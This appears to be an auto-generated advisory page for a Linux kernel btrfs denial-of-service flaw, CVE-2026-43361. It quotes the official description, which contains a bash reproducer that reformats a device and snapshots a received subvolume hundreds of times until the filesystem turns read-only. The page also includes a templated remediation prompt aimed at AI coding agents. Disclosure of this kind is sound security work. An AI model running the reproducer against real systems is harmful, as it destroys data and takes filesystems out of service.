# CVE-2026-43361: btrfs: fix transaction abort when snapshotting received subvolumes

> A local user can trigger a transaction abort in the btrfs filesystem by repeatedly snapshotting received subvolumes, forcing the filesystem into read-only mode.

- **Severity:** Medium 5.5 (`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 8 May 2026
- **Updated:** 11 May 2026
- **Also known as:** BELL-CVE-2026-43361, DEBIAN-CVE-2026-43361, GHSA-v9r8-chwp-vmrm, ROOT-OS-DEBIAN-11-CVE-2026-43361, ROOT-OS-UBUNTU-2204-CVE-2026-43361, ROOT-OS-UBUNTU-2404-CVE-2026-43361, UBUNTU-CVE-2026-43361

## What is CVE-2026-43361?

CVE-2026-43361 is a medium-severity denial of service vulnerability in Linux kernel, published on 8 May 2026. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix transaction abort when snapshotting received subvolumes

Currently a user can trigger a transaction abort by snapshotting a
previously received snapshot a bunch of times until we reach a
BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we
can store in a leaf). This is very likely not common in practice, but
if it happens, it turns the filesystem into RO mode. The snapshot, send
and set_received_subvol and subvol_setflags (used by receive) don't
require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user
could use this to turn a filesystem into RO mode and disrupt a system.

Reproducer script:

  $ cat test.sh
  #!/bin/bash

  DEV=/dev/sdi
  MNT=/mnt/sdi

  # Use smallest node size to make the test faster.
  mkfs.btrfs -f --nodesize 4K $DEV
  mount $DEV $MNT

  # Create a subvolume and set it to RO so that it can be used for send.
  btrfs subvolume create $MNT/sv
  touch $MNT/sv/foo
  btrfs property set $MNT/sv ro true

  # Send and receive the subvolume into snaps/sv.
  mkdir $MNT/snaps
  btrfs send $MNT/sv | btrfs receive $MNT/snaps

  # Now snapshot the received subvolume, which has a received_uuid, a
  # lot of times to trigger the leaf overflow.
  total=500
  for ((i = 1; i <= $total; i++)); do
      echo -ne "\rCreating snapshot $i/$total"
      btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null
  done
  echo

  umount $MNT

When running the test:

  $ ./test.sh
  (...)
  Create subvolume '/mnt/sdi/sv'
  At subvol /mnt/sdi/sv
  At subvol sv
  Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type
  Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system
  Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system
  Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system
  Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system

And in dmesg/syslog:

  $ dmesg
  (...)
  [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!
  [251067.629212] ------------[ cut here ]------------
  [251067.630033] BTRFS: Transaction aborted (error -75)
  [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235
  [251067.632851] Modules linked in: btrfs dm_zero (...)
  [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G        W           6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)
  [251067.646165] Tainted: [W]=WARN
  [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014
  [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]
  [251067.649984] Code: f0 48 0f (...)
  [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292
  [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3
  [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750
  [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820
  [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0
  [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5
  [251067.659019] FS:  00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000
  [251067.660115] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0
  [251067.661972] Call Trace:
  [251067.662292]  <TASK>
  [251067.662653]  create_pending_snapshots+0x97/0xc0 [btrfs]
  [251067.663413]  btrfs_commit_transaction+0x26e/0xc00 [btrfs]
  [251067.664257]  ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]
  [251067.665238]  ? _raw_spin_unlock+0x15/0x30
  [251067.665837]  ? record_root_
---truncated---

## Which versions are affected by CVE-2026-43361?

It affects 1 product.


Products: Linux kernel.

## How do I fix CVE-2026-43361?

Apply the vendor's patch.

## Is CVE-2026-43361 being exploited?

There is no known exploitation of CVE-2026-43361 in the wild and no public exploit code.

## Other vulnerabilities in Linux kernel

- [CVE-2026-53266](https://insights.sbomify.com/CVE-2026-53266/): Linux Kernel Out-of-Bounds Write (high 8.8, exploited in the wild)
- [CVE-2013-6282](https://insights.sbomify.com/CVE-2013-6282/): Linux Kernel Improper Input Validation (high 8.8, exploited in the wild)
- [CVE-2022-0185](https://insights.sbomify.com/CVE-2022-0185/): Linux Kernel Heap-Based Buffer Overflow (high 8.4, exploited in the wild)
- [CVE-2013-2094](https://insights.sbomify.com/CVE-2013-2094/): Linux Kernel Privilege Escalation (high 8.4, exploited in the wild)
- [CVE-2026-53362](https://insights.sbomify.com/CVE-2026-53362/): Linux Kernel Unspecified (high 7.8, exploited in the wild)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2026-43361 and fix it if it is affected.

What it is: CVE-2026-43361 is a medium-severity denial of service vulnerability in Linux kernel, published on 8 May 2026. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2026-43361 in the wild and no public exploit code.

Affected product: Linux kernel. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2026-43361/ (Markdown: https://insights.sbomify.com/CVE-2026-43361/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-43361
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-43361
- OSV: https://osv.dev/vulnerability/CVE-2026-43361

---
From sbomify Insights: https://insights.sbomify.com/CVE-2026-43361/
Summaries are generated and may contain mistakes; the official description above is the record.